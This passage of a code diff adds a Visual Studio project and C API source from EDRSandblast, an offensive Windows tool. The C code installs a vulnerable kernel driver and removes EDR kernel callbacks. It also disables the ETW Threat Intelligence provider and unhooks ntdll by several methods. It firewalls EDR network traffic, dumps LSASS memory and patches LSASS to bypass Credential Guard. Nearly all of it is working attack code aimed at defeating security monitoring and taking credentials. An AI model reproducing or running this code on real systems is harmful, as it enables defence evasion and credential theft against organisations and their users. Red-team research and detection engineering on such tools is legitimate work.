<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>$(OutDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemDefinitionGroup Condition="'$(Configuration)|$(Platform)'=='Release|x64'">
<ClCompile>
<WarningLevel>Level3</WarningLevel>
<FunctionLevelLinking>true</FunctionLevelLinking>
<IntrinsicFunctions>true</IntrinsicFunctions>
<SDLCheck>true</SDLCheck>
<PreprocessorDefinitions>NDEBUG;_CONSOLE;%(PreprocessorDefinitions)</PreprocessorDefinitions>
<ConformanceMode>true</ConformanceMode>
</ClCompile>
<Link>
<SubSystem>Console</SubSystem>
<EnableCOMDATFolding>true</EnableCOMDATFolding>
<OptimizeReferences>true</OptimizeReferences>
<GenerateDebugInformation>true</GenerateDebugInformation>
<AdditionalDependencies>%(AdditionalDependencies)</AdditionalDependencies>
<AdditionalLibraryDirectories>$(OutDir);%(AdditionalLibraryDirectories)</AdditionalLibraryDirectories>
<IgnoreSpecificDefaultLibraries>libcmtd.lib</IgnoreSpecificDefaultLibraries>
</Link>
</ItemDefinitionGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast_LsassDump.c" />
</ItemGroup>
<Import Project="$(VCTargetsPath)\Microsoft.Cpp.targets" />
<ImportGroup Label="ExtensionTargets">
</ImportGroup>
</Project>
@@ -0,0 +1,22 @@
<?xml version="1.0" encoding="utf-8"?>
<Project ToolsVersion="4.0" xmlns="http://schemas.microsoft.com/developer/msbuild/2003">
<ItemGroup>
<Filter Include="Source Files">
<UniqueIdentifier>{4FC737F1-C7A5-4376-A066-2A32D752A2FF}</UniqueIdentifier>
<Extensions>cpp;c;cc;cxx;c++;cppm;ixx;def;odl;idl;hpj;bat;asm;asmx</Extensions>
</Filter>
<Filter Include="Header Files">
<UniqueIdentifier>{93995380-89BD-4b04-88EB-625FBE52EBFB}</UniqueIdentifier>
<Extensions>h;hh;hpp;hxx;h++;hm;inl;inc;ipp;xsd</Extensions>
</Filter>
<Filter Include="Resource Files">
<UniqueIdentifier>{67DA6AB6-F800-4c08-8B7A-83BB121AAD01}</UniqueIdentifier>
<Extensions>rc;ico;cur;bmp;dlg;rc2;rct;bin;rgs;gif;jpg;jpeg;jpe;resx;tiff;tif;png;wav;mfcribbon-ms</Extensions>
</Filter>
</ItemGroup>
<ItemGroup>
<ClCompile Include="EDRSandblast_LsassDump.c">
<Filter>Source Files</Filter>
</ClCompile>
</ItemGroup>
</Project>
@@ -0,0 +1,762 @@
#include <Windows.h>
#include <PathCch.h>
#include "../EDRSandblast/EDRSandblast.h"
#include "../EDRSandblast/Includes/CredGuard.h"
#include "../EDRSandblast/Includes/DriverOps.h"
#include "../EDRSandblast/Includes/ETWThreatIntel.h"
#include "../EDRSandblast/Includes/FileUtils.h"
#include "../EDRSandblast/Includes/Firewalling.h"
#include "../EDRSandblast/Includes/KernelCallbacks.h"
#include "../EDRSandblast/Includes/KernelMemoryPrimitives.h"
#include "../EDRSandblast/Includes/ProcessDump.h"
#include "../EDRSandblast/Includes/ProcessDumpDirectSyscalls.h"
#include "../EDRSandblast/Includes/NtoskrnlOffsets.h"
#include "../EDRSandblast/Includes/ObjectCallbacks.h"
#include "../EDRSandblast/Includes/RunAsPPL.h"
#include "../EDRSandblast/Includes/Syscalls.h"
#include "../EDRSandblast/Includes/UserlandHooks.h"
#include "../EDRSandblast/Includes/WdigestOffsets.h"
#include "EDRSandblast_API.h"
// A passer dans le core?
EDRSB_STATUS _InstallVulnerableDriver(EDRSB_CONTEXT* ctx) {
EDRSB_CONFIG* config = ctx->config;
WCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
/*
* Setup the driver path
*/
WCHAR driverPath[MAX_PATH] = { 0 };
WCHAR driverDefaultName[] = DEFAULT_DRIVER_FILE;
if (config->vulerableDriverPath == NULL) {
WCHAR separator[] = L"\\";
wcsncat_s(driverPath, _countof(driverPath), currentFolderPath, _countof(currentFolderPath));
wcsncat_s(driverPath, _countof(driverPath), separator, _countof(separator));
wcsncat_s(driverPath, _countof(driverPath), driverDefaultName, _countof(driverDefaultName));
}
else {
wcscat_s(driverPath, _countof(driverPath), config->vulerableDriverPath);
}
if (!FileExistsW(driverPath)) {
_tprintf_or_not(TEXT("[!] Required driver file not present at %s\n"), driverPath);
return EDRSB_DRIVER_NOT_FOUND;
}
config->vulerableDriverPath = _wcsdup(driverPath);
/*
* Actually installs the driver
*/
LPTSTR serviceNameIfAny = NULL;
BOOL isDriverAlreadyRunning = IsDriverServiceRunning(config->vulerableDriverPath, &serviceNameIfAny);
if (isDriverAlreadyRunning) {
_putts_or_not(TEXT("[+] Vulnerable driver was already installed"));
SetDriverServiceName(serviceNameIfAny);
}
else {
_putts_or_not(TEXT("[+] Installing vulnerable driver..."));
BOOL status = InstallVulnerableDriver(config->vulerableDriverPath);
if (status != TRUE) {
_putts_or_not(TEXT("[!] An error occurred while installing the vulnerable driver"));
_putts_or_not(TEXT("[*] Uninstalling the service and attempting the install again..."));
Sleep(20000);
CloseDriverHandle();
status = UninstallVulnerableDriver();
Sleep(2000);
status = status && InstallVulnerableDriver(config->vulerableDriverPath);
Sleep(2000);
if (status != TRUE) {
_putts_or_not(TEXT("[!] New uninstall / install attempt failed, make sure that there is no trace of the driver left..."));
return EDRSB_DRIVER_INSTALL_FAILED;
}
}
Sleep(5000);// TODO : replace by a reliable method to check if the driver is ready
}
_putts_or_not(TEXT("\n"));
return EDRSB_SUCCESS;
}
// A passer dans le core?
EDRSB_STATUS _LoadNtosKrnlOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_CONFIG* config = ctx->config;
EDRSB_STATUS status;
BOOL offsetsLoaded = FALSE;
if (ctx->config->offsetRetrievalMethod.Embeded) {
/* TODO */
}
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) {
WCHAR ntoskrnlOffsetCSVPath[MAX_PATH] = { 0 };
WCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
if (config->kernelOffsetFilePath == NULL) {
WCHAR offsetCSVName[] = L"\\NtoskrnlOffsets.csv";
wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
wcsncat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
else {
wcscat_s(ntoskrnlOffsetCSVPath, _countof(ntoskrnlOffsetCSVPath), config->kernelOffsetFilePath);
}
if (!FileExistsW(ntoskrnlOffsetCSVPath)) {
_tprintf_or_not(TEXT("[!] Kernel offsets file not present at %s\n"), ntoskrnlOffsetCSVPath);
config->kernelOffsetFilePath = NULL;
}
else {
_putts_or_not(TEXT("[+] Loading kernel related offsets from the CSV file"));
config->kernelOffsetFilePath = _wcsdup(ntoskrnlOffsetCSVPath);
LoadNtoskrnlOffsetsFromFile(config->kernelOffsetFilePath);
if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) { // (only check notify routines offsets, because ETW Ti might legitimately be absent on "old" Windows versions)
_putts_or_not(TEXT("[!] Kernel offsets are missing from the CSV for the version of ntoskrnl in use."));
}
else {
_putts_or_not(TEXT("[+] Kernel offsets were loaded from the CSV file for the version of ntoskrnl in use."));
offsetsLoaded = TRUE;
}
}
}
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) {
_putts_or_not(TEXT("[+] Downloading kernel offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
LoadNtoskrnlOffsetsFromInternet(FALSE);
if (!NtoskrnlNotifyRoutinesOffsetsArePresent()) {
_putts_or_not(TEXT("[-] Downloading kernel offsets from the internet failed!"));
}
else {
_putts_or_not(TEXT("[+] Downloading kernel offsets succeeded!"));
offsetsLoaded = TRUE;
}
}
if (!offsetsLoaded) {
_putts_or_not(TEXT("[!] The kernel offsets required couldn't be retrieve using any of the methods specified\n"));
status = EDRSB_KERNEL_OFFSETS_NOT_FOUND;
}
else {
status = EDRSB_SUCCESS;
}
return status;
}
// A passer dans le core?
EDRSB_STATUS _LoadWdigestOffsets(EDRSB_CONTEXT* ctx) {
EDRSB_CONFIG* config = ctx->config;
EDRSB_STATUS status;
BOOL offsetsLoaded = FALSE;
if (ctx->config->offsetRetrievalMethod.Embeded) {
/* TODO */
}
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.File) {
WCHAR wdigestOffsetCSVPath[MAX_PATH] = { 0 };
WCHAR currentFolderPath[MAX_PATH] = { 0 };
GetCurrentDirectoryW(_countof(currentFolderPath), currentFolderPath);
if (config->wdigestOffsetFilePath == NULL) {
WCHAR offsetCSVName[] = L"\\WdigestOffsets.csv";
wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), currentFolderPath, _countof(currentFolderPath));
wcsncat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), offsetCSVName, _countof(offsetCSVName));
}
else {
wcscat_s(wdigestOffsetCSVPath, _countof(wdigestOffsetCSVPath), config->wdigestOffsetFilePath);
}
if (!FileExistsW(wdigestOffsetCSVPath)) {
_tprintf_or_not(TEXT("[!] Wdigest offsets file not present at %s\n"), wdigestOffsetCSVPath);
config->wdigestOffsetFilePath = NULL;
}
else {
_putts_or_not(TEXT("[+] Loading wdigest related offsets from the CSV file"));
config->wdigestOffsetFilePath = wdigestOffsetCSVPath;
LoadWdigestOffsetsFromFile(config->wdigestOffsetFilePath);
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_putts_or_not(TEXT("[!] Offsets are missing from the CSV for the version of wdigest in use."));
}
else {
_putts_or_not(TEXT("[+] Wdigest offsets were loaded from the CSV file for the version of wdigest in use."));
offsetsLoaded = TRUE;
}
}
}
if (!offsetsLoaded && ctx->config->offsetRetrievalMethod.Internet) {
_putts_or_not(TEXT("[+] Downloading wdigest offsets from the MS Symbol Server (will drop a .pdb file in current directory)"));
LoadWdigestOffsetsFromInternet(FALSE);
if (g_wdigestOffsets.st.g_fParameter_UseLogonCredential == 0x0 || g_wdigestOffsets.st.g_IsCredGuardEnabled == 0x0) {
_putts_or_not(TEXT("[-] Downloading wdigest offsets from the internet failed!"));
}
else {
_putts_or_not(TEXT("[+] Downloading wdigest offsets succeeded!"));
offsetsLoaded = TRUE;
}
}
if (!offsetsLoaded) {
_putts_or_not(TEXT("[!] The wdigest offsets required couldn't be retrieve using any of the methods specified\n"));
status = EDRSB_WDIGEST_OFFSETS_NOT_FOUND;
}
else {
status = EDRSB_SUCCESS;
}
return status;
}
EDRSB_STATUS EDRSB_Init(_Out_ EDRSB_CONTEXT* ctx, _In_ EDRSB_CONFIG* config) {
EDRSB_STATUS status;
BOOL driverInstallRequired = FALSE;
BOOL kernelOffsetsLoaded = FALSE;
ctx->config = config;
if (config->actions.ProtectProcess) {
config->bypassMode.Krnlmode = 1;
}
// Check that the parameters are valid for BypassMode krnlmode.
if (config->bypassMode.Krnlmode) {
status = _LoadNtosKrnlOffsets(ctx);
if (status != EDRSB_SUCCESS) {
_tprintf_or_not(TEXT("[-] Init failed: required offsets for kernel operations couldn't be loaded (error 0x%lx)!\n"), status);
return status;
}
else {
kernelOffsetsLoaded = TRUE;
}
driverInstallRequired = TRUE;
}
// Check that the parameters are valid for BypassMode Usermode.
if (config->bypassMode.Usermode) {
/* No pre-requiste yet */
}
if (config->actions.ProtectProcess) {
if (g_ntoskrnlOffsets.st.eprocess_protection == 0x0) {
_putts_or_not(TEXT("[-] Init failed: missing the _PS_PROTECTION offset, cannot set process as Protected"));
return EDRSB_KERNEL_OFFSETS_NOT_FOUND;
}
driverInstallRequired = TRUE;
}
if (config->actions.BypassCredguard) {
status = _LoadWdigestOffsets(ctx);
if (status != EDRSB_SUCCESS) {
_tprintf_or_not(TEXT("[-] Init failed: required offsets for CredentialGuard bypass couldn't be loaded (error 0x%lx)!\n"), status);
return status;
}
}
if (driverInstallRequired) {
status = _InstallVulnerableDriver(ctx);
if (status != EDRSB_SUCCESS) {
_tprintf_or_not(TEXT("[-] Init failed: driver couldn't be installed (error 0x%lx)!\n"), status);
return status;
}
ctx->isDriverInstalled = TRUE;
}
return EDRSB_SUCCESS;
}
EDRSB_STATUS Krnlmode_EnumAllMonitoring(_In_opt_ EDRSB_CONTEXT* ctx) {
if (ctx && !ctx->config->bypassMode.Krnlmode) {
_tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config"));
return EDRSB_MISSING_KRNLMODE;
}
EDRSB_STATUS status;
struct FOUND_EDR_CALLBACKS* foundEDRDrivers = NULL;
BOOL isSafeToExecutePayload = TRUE;
BOOL foundNotifyRoutineCallbacks;
BOOL foundObjectsCallbacks;
BOOL isETWTICurrentlyEnabled;
BOOL verbose = ctx ? ctx->config->verbose : FALSE;
if (ctx) {
_putts_or_not(TEXT("[+] Checking if any EDR Kernel callbacks are configured..."));
}
foundEDRDrivers = (struct FOUND_EDR_CALLBACKS*)calloc(1, sizeof(struct FOUND_EDR_CALLBACKS));
if (!foundEDRDrivers) {
_putts_or_not(TEXT("[!] Couldn't allocate memory to enumerate the drivers in Kernel callbacks"));
return EDRSB_MEMALLOC_FAIL;
}
if (ctx) {
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on process / thread creation & image loading"));
}
foundNotifyRoutineCallbacks = EnumEDRNotifyRoutineCallbacks(foundEDRDrivers, verbose);
if (ctx && foundNotifyRoutineCallbacks) {
ctx->foundNotifyRoutineCallbacks = TRUE;
}
if (ctx) {
_tprintf_or_not(TEXT("[+] Object callbacks have %sbeen found"), ctx->foundNotifyRoutineCallbacks ? TEXT("") : TEXT("NOT"));
_putts_or_not(TEXT("[+] Check if EDR callbacks are registered on processes and threads handle creation/duplication"));
}
foundObjectsCallbacks = EnumEDRProcessAndThreadObjectsCallbacks(foundEDRDrivers);
if (ctx && foundObjectsCallbacks) {
ctx->foundObjectCallbacks = TRUE;
}
if (ctx) {
_tprintf_or_not(TEXT("[+] Enabled EDR object callbacks are %s !\n"), ctx->foundObjectCallbacks ? TEXT("present") : TEXT("not found"));
}
if (ctx) {
ctx->foundEDRDrivers = foundEDRDrivers;
_putts_or_not(TEXT("[+] Check the ETW Threat Intelligence Provider state"));
}
else {
free(foundEDRDrivers);
foundEDRDrivers = NULL;
}
isETWTICurrentlyEnabled = isETWThreatIntelProviderEnabled(verbose);
if (ctx && isETWTICurrentlyEnabled) {
ctx->isETWTICurrentlyEnabled = TRUE;
}
if (ctx) {
ctx->isETWTISystemEnabled |= ctx->isETWTICurrentlyEnabled;
_tprintf_or_not(TEXT("[+] ETW Threat Intelligence Provider is %s!\n\n"), ctx->isETWTISystemEnabled ? TEXT("ENABLED") : TEXT("DISABLED"));
ctx->krnlmodeMonitoringEnumDone = TRUE;
}
if (foundNotifyRoutineCallbacks || foundObjectsCallbacks || isETWTICurrentlyEnabled) {
status = EDRSB_KNRL_MONITORING;
}
else {
status = EDRSB_SUCCESS;
}
return status;
}
EDRSB_STATUS Krnlmode_RemoveAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
if (!ctx->config->bypassMode.Krnlmode) {
_tprintf_or_not(TEXT("[-] Krnlmode operation failed: missing Krnlmode mode in config"));
return EDRSB_MISSING_KRNLMODE;
}
EDRSB_STATUS status;
if (!ctx->krnlmodeMonitoringEnumDone) {
status = Krnlmode_EnumAllMonitoring(ctx);
if (status != EDRSB_KNRL_MONITORING) {
return status;
}
}
if (ctx->foundNotifyRoutineCallbacks) {
_putts_or_not(TEXT("[+] Removing kernel callbacks registered by EDR for process creation, thread creation and image loading..."));
// TODO Disable <-> Remove.
RemoveEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers);
}
if (ctx->foundObjectCallbacks) {
_putts_or_not(TEXT("[+] Disabling kernel callbacks registered by EDR for process and thread opening or handle duplication..."));
// TODO Disable <-> Remove.
DisableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
if (ctx->isETWTICurrentlyEnabled) {
DisableETWThreatIntelProvider(ctx->config->verbose);
ctx->isETWTICurrentlyEnabled = FALSE;
_putts_or_not(TEXT(""));
}
return Krnlmode_EnumAllMonitoring(NULL);
}
EDRSB_STATUS Krnlmode_RestoreAllMonitoring(_In_ EDRSB_CONTEXT* ctx) {
if (!ctx->krnlmodeMonitoringEnumDone) {
_putts(TEXT("[-] Kernel mode callbacks were not enumerated prior to this call"));
return EDRSB_FAILURE;
}
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundNotifyRoutineCallbacks) {
_putts_or_not(TEXT("Restoring EDR's kernel notify routine callbacks..."));
RestoreEDRNotifyRoutineCallbacks(ctx->foundEDRDrivers);
}
if (!ctx->config->actions.DontRestoreCallBacks && ctx->foundObjectCallbacks) {
_putts_or_not(TEXT("[+] Restoring EDR's kernel object callbacks..."));
EnableEDRProcessAndThreadObjectsCallbacks(ctx->foundEDRDrivers);
}
// Renable the ETW Threat Intel provider.
if (!ctx->config->actions.DontRestoreETWTI && ctx->isETWTISystemEnabled) {
EnableETWThreatIntelProvider(ctx->config->verbose);
}
if (ctx->foundEDRDrivers) {
free(ctx->foundEDRDrivers);
ctx->foundEDRDrivers = NULL;
}
ctx->krnlmodeMonitoringEnumDone = FALSE;
return EDRSB_SUCCESS;
}
EDRSB_STATUS Action_SetCurrentProcessAsProtected(_In_ EDRSB_CONTEXT* ctx) {
if (!ctx->config->actions.ProtectProcess) {
_tprintf_or_not(TEXT("[-] Protecting of process failed: missing ProtectProcess action in config"));
return EDRSB_MISSING_PROTECTPROCESS;
}
_putts_or_not(TEXT("[+] Self protect our current process as Light WinTcb(PsProtectedSignerWinTcb - Light)."));
SetCurrentProcessAsProtected(ctx->config->verbose);
return EDRSB_SUCCESS;
}
//TODO : remove, this API serves no purpose. Just expose SandMiniDumpWriteDump (with a userland bypass technique as parameter), and use GetSafeNtFunction inside SandMiniDumpWriteDump
EDRSB_STATUS Action_DumpProcessByName(_In_ EDRSB_CONTEXT* ctx, _In_ LPWSTR processName, _In_ LPWSTR outputPath, EDRSB_USERMODE_TECHNIQUE usermodeTechnique) {
EDRSB_CONFIG* config = ctx->config;
EDRSB_STATUS status;
DWORD ntStatus;
if (usermodeTechnique != -1) {
ntStatus = SandMiniDumpWriteDump(processName, outputPath);// , usermodeTechnique);
if (ntStatus != STATUS_SUCCES) {
_tprintf_or_not(TEXT("[-] Process dump failed: direct syscall MiniDumpWriteDump failed with error 0x%lx!\n"), ntStatus);
status = EDRSB_FAILURE;
}
else {
status = EDRSB_SUCCESS;
}
}
else {
ntStatus = dumpProcess(processName, outputPath);
if (!ntStatus) {
_tprintf_or_not(TEXT("[-] Process dump failed: Lsass dump using Windows' MiniDumpWriteDump failed!"));
status = EDRSB_FAILURE;
}
else {
status = EDRSB_FAILURE;
}
}
return status;
}
EDRSB_STATUS Action_FirewallBlockEDR(_In_ EDRSB_CONTEXT* ctx) {
if (!ctx->config->actions.FirewallEDR) {
_tprintf_or_not(TEXT("[-] Firewalling failed: missing FirewallEDR action in config"));
return EDRSB_MISSING_FIREWALLEDR;
}
EDRSB_STATUS status;
HRESULT hrStatus = S_OK;
fwBlockingRulesList sFWEntries = { 0 };
_tprintf_or_not(TEXT("[*] Configuring Windows Firewall rules to block EDR network access...\n\n"));
hrStatus = FirewallBlockEDR(&sFWEntries);
if (FAILED(hrStatus)) {
_tprintf_or_not(TEXT("[!] An error occured while attempting to create Firewall rules!\n\n"));
status = EDRSB_FAILURE;
}
else {
_tprintf_or_not(TEXT("[+] Successfully configured Windows Firewall rules to block EDR network access!\n"));
status = EDRSB_FAILURE;
FirewallPrintManualDeletion(&sFWEntries);
}
return status;
}
EDRSB_STATUS Action_DisableCredGuard(_In_ EDRSB_CONTEXT* ctx) {
if (!ctx->config->actions.BypassCredguard) {
_tprintf_or_not(TEXT("[-] CredGuard bypass failed: missing BypassCredguard action in config"));
return EDRSB_FAILURE;
}
EDRSB_STATUS status;
if (disableCredGuardByPatchingLSASS()) {
_putts_or_not(TEXT("[+] LSASS was patched and Credential Guard should be bypassed for future logins on the system."));
status = EDRSB_SUCCESS;
}
else {
_putts_or_not(TEXT("[!] LSASS couldn't be patched and Credential Guard will not be bypassed."));
status = EDRSB_BYPASSCREDGUARD_FAILED;
}
return status;
}
VOID Usermode_EnumAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx) {
// zero-terminated HOOK array
HOOK* hooks = searchHooks(NULL);
ctx->foundUserlandHooks = hooks;
}
VOID Usermode_RemoveAllMonitoring(_Inout_ EDRSB_CONTEXT* ctx, EDRSB_USERMODE_TECHNIQUE technique) {
UNHOOK_METHOD map_methods[5] = { 0 }; //maps EDRSB_USERMODE_TECHNIQUE enum with UNHOOK_METHOD enum
map_methods[Unhook_with_ntdll_NtProtectVirtualMemory] = UNHOOK_WITH_NTPROTECTVIRTUALMEMORY;
map_methods[Copy_ntdll_and_load] = UNHOOK_WITH_DUPLICATE_NTPROTECTVIRTUALMEMORY;
map_methods[Allocate_trampoline] = UNHOOK_WITH_INHOUSE_NTPROTECTVIRTUALMEMORY_TRAMPOLINE;
map_methods[Find_and_use_existing_trampoline] = UNHOOK_WITH_EDR_NTPROTECTVIRTUALMEMORY_TRAMPOLINE;
map_methods[Use_direct_syscall] = UNHOOK_WITH_DIRECT_SYSCALL;
UNHOOK_METHOD unhook_method = map_methods[technique];
if (!ctx->foundUserlandHooks) {
Usermode_EnumAllMonitoring(ctx);
}
HOOK* hooks = ctx->foundUserlandHooks;
if (!hooks) {
_putts_or_not(TEXT("[-] Failed to get userland hooks\n"));
return;
}
if (hooks->disk_function != NULL) {
_putts_or_not(TEXT("[+] Removing detected userland hooks:\n"));
}
for (HOOK* ptr = hooks; ptr->disk_function != NULL; ptr++) {
printf_or_not("\tUnhooking %s using method %ld...\n", ptr->functionName, unhook_method);
unhook(ptr, unhook_method);
}
}
EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function);
EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function);
EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function);
EDRSB_STATUS Usermode_GetSafeNtFunc(_Inout_ EDRSB_CONTEXT* ctx, _In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function, EDRSB_USERMODE_TECHNIQUE technique) {
WCHAR tempDLLFilePath[MAX_PATH] = { 0 };
switch (technique) {
case Copy_ntdll_and_load:
GetTempPathW(MAX_PATH, tempDLLFilePath);
PathCchCombine(tempDLLFilePath, _countof(tempDLLFilePath), tempDLLFilePath, L"ntdlol.txt");//TODO : make it configurable
return _Usermode_GetSafeNtFunction_with_ntdll_copy(ctx, tempDLLFilePath, functionName, function);
case Allocate_trampoline:
return _GetSafeNtFunctionUsingTrampoline(FALSE, functionName, function);
case Find_and_use_existing_trampoline:
return _GetSafeNtFunctionUsingTrampoline(TRUE, functionName, function);
case Unhook_with_ntdll_NtProtectVirtualMemory:
return _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(functionName, function);
case Use_direct_syscall:
*function = CreateSyscallStubWithVirtuallAlloc(functionName);
if (*function) {
return EDRSB_SUCCESS;
}
else {
return EDRSB_FAILURE;
}
default:
*function = NULL;
return EDRSB_FAILURE;
}
}
/*
* Patch the ntdll section that corresponds to the asked function, replace it with its original content, and just return a poniter to the function address in ntdll.dll
* The following actions are performed:
* - The export that immediately follows the asked function is located, and will be considered as the function boundary
* - The content of the function is copied from the on-disk version of ntdll.dll (after taking relocations into account), to the memory-mapped version
*/
EDRSB_STATUS _GetSafeNtFunctionbyUnhookingWithNtProtectVirtualMemory(_In_ LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) {
*function = NULL;
// Get ntdll.dll from memory and disk
PE* ntdll_mem = NULL;
PE* ntdll_disk = NULL;
getNtdllPEs(&ntdll_mem, &ntdll_disk);
// Look for the closest export from "function"
DWORD functionRVA = PE_functionRVA(ntdll_disk, functionName);
if (functionRVA) {
return EDRSB_NT_FUNCTION_NOT_FOUND;
}
DWORD nextFunctionRVA = functionRVA - 1;
for (DWORD i = 0; i < ntdll_disk->exportedNamesLength; i++) {
DWORD someFunctionStartRVA = ntdll_disk->exportedFunctions[ntdll_disk->exportedOrdinals[i]];
if (someFunctionStartRVA == functionRVA) {
continue;
}
if ((someFunctionStartRVA - functionRVA) < (nextFunctionRVA - functionRVA)) {
nextFunctionRVA = someFunctionStartRVA;
}
}
// Check we did not cross a section boundary (last export in the section)
IMAGE_SECTION_HEADER* textSection = PE_sectionHeader_fromRVA(ntdll_disk, functionRVA);
DWORD textSectionEndRVA = textSection->VirtualAddress + textSection->Misc.VirtualSize;
if (textSectionEndRVA < nextFunctionRVA) {
nextFunctionRVA = textSectionEndRVA;
}
// The area to patch is between the two bounds
PVOID functionStart = PE_RVA_to_Addr(ntdll_mem, functionRVA);
PVOID functionEnd = PE_RVA_to_Addr(ntdll_mem, nextFunctionRVA);
SIZE_T functionSize = (PBYTE)functionEnd - (PBYTE)functionStart;
PVOID functionStartOnDisk = PE_RVA_to_Addr(ntdll_disk, functionRVA);
// Use NtProtectVirtualMemory to temporarily change page permissions and patch it with disk content
pNtProtectVirtualMemory originalNtProtectVirtualMemory = (pNtProtectVirtualMemory)PE_functionAddr(ntdll_mem, "NtProtectVirtualMemory");
DWORD oldProtect;
NTSTATUS status = originalNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&functionStart,
&functionSize,
PAGE_EXECUTE_READWRITE,
&oldProtect
);
if (!NT_SUCCESS(status)) {
return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED;
}
for (size_t i = 0; i < functionSize; i++) {
((PBYTE)functionStart)[i] = ((PBYTE)functionStartOnDisk)[i];
}
status = originalNtProtectVirtualMemory(
(HANDLE)-1, // GetCurrentProcess()
&functionStart,
&functionSize,
oldProtect,
&oldProtect
);
if (!NT_SUCCESS(status)) {
return EDRSB_NTPROTECTVIRTUALMEMORY_FAILED;
}
// Return a pointer to the unhooked function
*function = functionStart;
return EDRSB_SUCCESS;
}
//TODO : to move in Core / deduplicate
EDRSB_STATUS _GetSafeNtFunctionUsingTrampoline(BOOL fromEdr, LPCSTR functionName, _Outptr_result_maybenull_ PVOID* function) {
*function = NULL;
PE* ntdllPE_mem = NULL;
PE* ntdllPE_disk = NULL;
getNtdllPEs(&ntdllPE_mem, &ntdllPE_disk);
PVOID disk_NtFunction = PE_functionAddr(ntdllPE_disk, functionName);
PVOID mem_NtFunction = PE_functionAddr(ntdllPE_mem, functionName);
size_t patchSize = 0;
PVOID patchAddr = findDiff(mem_NtFunction, disk_NtFunction, PATCH_MAX_SIZE, &patchSize);
if (patchSize == 0) {
*function = mem_NtFunction;
return EDRSB_FUNCTION_NOT_HOOKED;
}
if (fromEdr) {
PVOID trampoline = NULL;
trampoline = searchTrampolineInExecutableMemory((PBYTE)disk_NtFunction + ((PBYTE)patchAddr - (PBYTE)mem_NtFunction), patchSize, (PBYTE)patchAddr + patchSize);
if (NULL == trampoline) {
printf_or_not("Trampoline for %s was impossible to find !\n", functionName);
return EDRSB_TRAMPOLINE_NOT_FOUND;
}
*function = trampoline;
return EDRSB_SUCCESS;
}
else {
#if _WIN64
#define JUMP_SIZE 14
#else
#define JUMP_SIZE 5
#endif
PBYTE trampoline = VirtualAlloc(NULL, patchSize + JUMP_SIZE, MEM_COMMIT | MEM_RESERVE, PAGE_READWRITE);
if (NULL == trampoline) {
printf_or_not("\tError : VirtualAlloc: 0x%x\n\n", GetLastError());
return EDRSB_MEMALLOC_FAIL;
}
DWORD oldProtect;
memcpy(trampoline, disk_NtFunction, patchSize);
#if _WIN64
* ((WORD*)(trampoline + patchSize)) = 0x25FF; //RIP relative jmp
*((DWORD*)(trampoline + patchSize + 2)) = 0x0; // [RIP + 0]
*((QWORD*)(trampoline + patchSize + 2 + 4)) = (QWORD)(((BYTE*)mem_NtFunction) + patchSize);
#else
* (trampoline + patchSize) = 0xE9; //far JMP
*((DWORD*)(trampoline + patchSize + 1)) = (DWORD)(((DWORD)mem_NtFunction) + patchSize - (((DWORD)trampoline) + patchSize + JUMP_SIZE));
#endif
VirtualProtect(trampoline, patchSize + JUMP_SIZE, PAGE_EXECUTE_READ, &oldProtect);
*function = trampoline;
return EDRSB_SUCCESS;
}
}
//TODO : to move in Core / deduplicate
EDRSB_STATUS _Usermode_GetSafeNtFunction_with_ntdll_copy(_Inout_ EDRSB_CONTEXT* ctx, _In_z_ const WCHAR* tempDLLFilePath, _In_z_ LPCSTR ntFunctionName, _Outptr_result_maybenull_ PVOID* function) {
*function = NULL;
//BUG : cannot change/choose the DLL file path after first call
HANDLE secondNtdll;
if (!ctx->Cache.NtdllCopyHandle) {
WCHAR ntdllFilePath[MAX_PATH] = { 0 };
GetSystemDirectoryW(ntdllFilePath, _countof(ntdllFilePath));
PathCchCombine(ntdllFilePath, _countof(ntdllFilePath), ntdllFilePath, L"ntdll.dll");
CopyFileW(ntdllFilePath, tempDLLFilePath, FALSE);
secondNtdll = LoadLibraryW(tempDLLFilePath);
ctx->Cache.NtdllCopyHandle = secondNtdll;
}
